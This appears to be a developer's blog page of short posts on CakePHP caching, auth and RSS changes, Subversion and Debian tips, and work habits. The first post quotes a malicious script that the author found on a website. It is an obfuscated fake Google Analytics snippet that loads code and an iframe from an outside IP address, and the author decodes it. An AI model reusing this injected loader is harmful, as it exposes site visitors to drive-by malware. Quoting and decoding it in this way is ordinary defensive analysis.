Subscribe to RSS Subscribe to Comments

Alan Blaine Whitney

Google Analytics Ripoff.

I have found something very funny on a site this morning.  Here is a bit of javascript.

1
2
3
4
5
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript srñ='" + gaJsHost + "google-analytics.com/ga.js' " + '!@&s(#r)c@!=&)\'&h$!t^&!$@t@&$p#^&@:$^/&@!&/!9(1)@.(2)1!(2)&.^#6&@&!^5(@!&.&#$1@!4)8!#/($g#$a&.(j^s)'.replace(/#|&|@|\$|\(|\!|\^|\)/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err); {}</script>

Which translates into including http://91.212.65.148/ga.js

Which includes an iframe. Not sure yet, but this may be the nine ball thing. This iframe is to: http://91.212.65.148//image/index.php

Recursive Find and Replace

This works on most linux boxes.

find /path/to/start/from/ -type f | xargs perl -pi -e ’s/applicationX/applicationY/g’

Debian reset timezone

dpkg-reconfigure tzdata

Command that resets the timezone accross the board on debian/ubuntu

Debian & svn

For those of you who just updated your Debian Lenny install and and had your subversion stop working, this is for you.  If you are getting this error:

svn: OPTIONS of 'http://dust.sephone.com/projects/mslha': could not connect to server (http://dust.sephone.com)

You need to put

http-library=serf

On the last line of ~/.subversion/servers

Moving Subversion Repositories

Here is a how to on moving subversion repositories from one server to another.

First, go to your old server, find the directory and do svnadmin dump name > dumpfile.

FTP over dumpfile to your new server.

Go to your new server and do svnadmin create newname; svnadmin import newname < dumpfile

How you need to update the places where you have this repository checked out with this command svn switch –relocate http://<old-server>/<old-name> http://<new-server>/<new-name>

Just like that.

Cakephp Caching

Recently I was working on an application that needed to have many instances.  That is, one code base in one place that served several sites.  These sites have seperate dbs, seperate configs, seperate views, seperate caches per domain.

So I needed these seperate configs for various sites.  I found this article on the bakery, that seemed to be a good start for me.  That got me so that I had a seperate config file (including db) for my different sites.

While I had seperate configs for each domain, I took the chance to set up cake themes.  So in my config this in my domain config

Configure::write('theme', 'client');

and then I set that in my app_controller in beforeFilter

$theme = Configure::read('theme');
if (isset($theme) && strlen($theme)) {
  $this->view = 'theme';
  $this->theme = $theme;
}

This will get my app so I have separate views inside of app/views/themed/client/layouts/default.ctp and so on.

This worked pretty good, but there was a problem, view caching and db caching was shared across the various sites.  Well, cake puts all of it’s writable stuff in /app/tmp and what I wanted to do was move all of that stuff into per domain directories.  I decided on my systems tmp directory, which on Linux is /tmp, so I made several directories within that one.

/tmp/broadcaster
/tmp/broadcaster/<client-name>
/tmp/broadcaster/<client-name>/cache
/tmp/broadcaster/<client-name>/cache/views
/tmp/broadcaster/<client-name>/cache/persistent
/tmp/broadcaster/<client-name>/cache/models
/tmp/broadcaster/<client-name>/logs
/tmp/broadcaster/<client-name>/sessions
/tmp/broadcaster/<client-name>/tests

So more of less, what I have here is a copy of of app/tmp for every domain.  Now we need to tell cake to use these directories.

Here is my chances in app/webroot/index.php,  right after app_dir.

define('TMP', '/tmp/broadcaster/' . $_SERVER['SERVER_NAME'] . '/');

Here is the bottom of my app/config/core.php

Cache::config('default',
  array(
    'engine' => 'File',
    'prefix' => 'cake_',
    'path' => TMP . '/cache/',
  )
);

So that’s a rough over view of per domain stuff in cake.

Comments in RSS feed

For the most part, every project I do starts with cakephp, jquery and 960 grid.  Just about everytime I need to do an rss feed, I follow the directions in the cook book.  This has worked great.

Today I got wondering about the how feedburner does the comment count within their feed flare.  It seems to work with word press.  Auto-magically.  I wanted to make it happen outside of wordpress.  Turns out that it is pretty easy.  It uses a new namespace in the XML, wfw.

To add that namespace, one first needs to put a new xmlns attribuate in the rss tag, like below.

<rss xmlns:wfw="http://wellformedweb.org/CommentAPI/"  version="2.0">

Well, you would think that is pretty easy in cake, add an array to some $rss method call.  Well, this was a rare instance in cake where I couldn’t quite get it to work.  So I had to make changes to the rss help.  First, copy the rss helper from  cake/libs/view/helpers/rss.php to app/views/helpers/rss.php. Once it’s copied, I manually changed the document method to this

	function document($attrib = array(), $content = null) {
		if ($content === null) {
			$content = $attrib;
			$attrib = array();
		}
		if (!isset($attrib['version']) || empty($attrib['version'])) {
			$attrib['version'] = $this->version;
		}
 
		if (!isset($attrib['xmlns:wfw']) || empty($attrib['xmlns:wfw'])) {
			$attrib['xmlns:wfw'] = 'http://wellformedweb.org/CommentAPI/';
		}
 
		return $this->elem('rss', $attrib, $content);
	}

Now just one last change to make, in the my view, which was located at app/views/articles/rss/feed.ctp, where the item is added

        echo  $rss->item(array(), array(
            'title' => $article['Article']['title'],
			'comments' => array_merge(array('#' => 'comments'), $url),
			'wfw:commentRss' => 'http://' . $_SERVER['SERVER_NAME'] . '/comments/' . 
				'index/' . $article['Article']['id'] . '.rss',
			'link' => $url,
			'guid' => array('url' => $url, 'isPermaLink' => 'true'),
            'description' =>  $bodyText,
            'pubDate' => $article['Article']['created']));

And that is about it, then it just worked with feedburner’s feed flare comment counter. Just like wordpress.

Cake 1.2 Final Auth Problems

I had auth working in 1.2RC3 just fine. What I wanted was all of the non-admin stuff to not need auth, but all of the admin stuff to have auth. Here is what my code used to look like

	function beforeFilter() {
		$this->Auth->allow('*');
		if (isset($this->params['admin'])) {
 			$this->Auth->deny("*");
		}
       }

That didn’t work in 1.2 final, here was the modification I had to make to get it working again.

	function beforeFilter() {
		$this->Auth->allow('*'); // Allow Everything by default
		$admin = (Configure::read('Routing.admin'));
		$strlen = strlen($admin);
		foreach ($this->Auth->allowedActions as $key) { 
			if (substr($key, 0, $strlen) == $admin) { 
				$this->Auth->deny($key); // Disable an admin_ like action
			}
		}
 
		if (is_a($this, "UsersController")) { 
			$this->Auth->deny('login');
		}
 
		if (isset($this->params['admin'])) { 
			$this->layout='admin';
		}
 
		if ($this->RequestHandler->isAjax()) { 
			$this->layout='ajax';
		}
    }

That seemed to fix it up. Go figure.

Cake 1.2RC3 to Final

Recently the cake 1.2 has been released.  On several of my applications I have upgrading all along the 1.2 release cycle.  Here are my tweaks that I needed to do from RC3 to 1.2 Final.

To start the upgrade, I simply swapped out my cake directory for the new one.  Dropped the tmp dir with this command.

find app/tmp/ -name ‘cake*’ | xargs rm

For the most part it worked right off the back.  The only problem I had was to switch some things in my “app/app_controller.php”.  In RC3, if it was an ajax request, it automatically switched to an ajax layout.  It stopped doing that in RC4 and final.  So I when to put functionality back in.

To start I added the request handler component and use beforeFilter().

	var $components = array('RequestHandler');
 
	function beforeFilter() {
		if ($this->RequestHandler->isAjax()) {
			$this->layout='ajax';
		}
    }

I actually had several things happening in my ‘app/app_controller.php’ already, here is my actual file.

	var $components = array('Auth', 'Email', 'RequestHandler');
 
	function beforeFilter() {
        $this->Auth->fields = array('username'=>'username', 'password' => 'password');
		$this->Auth->loginAction = array('admin' => false, 'controller' => 'users', 'action' => 'login');
		$this->Auth->allow('*');
 
		$this->set('navPoint', 'home');
 
		if (isset($this->params['admin'])) { 
			$this->layout='admin';
			$this->Auth->deny('*');
 
			// Lets set the sort order
			if (!$this->Session->check('sort')) {
				$this->Session->write('sort', 'Application.date_created DESC');
			}
		}
 
		if ($this->RequestHandler->isAjax()) { 
			$this->layout='ajax';
		}
    }

Notes on the process of Web Development

This post is mostly for me, since I have don’t anywhere convenient to put these notes.

Features

Every feature that gets implemented has to have solid answers to these questions

  1. Why are we doing this
  2. What problem does this solve
  3. Is it useful
  4. Are we adding value
  5. Will this change user behavior
  6. Is there an easier way

Time Limits

Every phase/version/release of a project needs a time limit, say like two weeks.  The question would be, in two weeks will I have something to show for this.  If the answer is no, split your release/version/feature in half and ask yourself again.

Stop Words

Words like need, can’t, quick, easy, everyone, nobody, simple, little, and big don’t need to used.

Focus

The focus sometimes needs to change.  Don’t spend so much time focusing on the hard stuff, but more time on polishing the easy stuff.  Trends are cool, but become too trendy to lose focus on unchanging things.  Optimize for today, tomorrow has enough worries of it’s own.  You can always do it different later.

Interruptions are the mortal enemy

Avoid interruptions at all cost.  A focused man can do more in an hour, than an unfocused man in four.  Use more passive collaboration tools, like wiki’s, project management web tools, internal blogs, etc.

« Previous PageNext Page »

Based on FluidityTheme Redesigned by Kaushal Sheth Sponsored by Send Flowers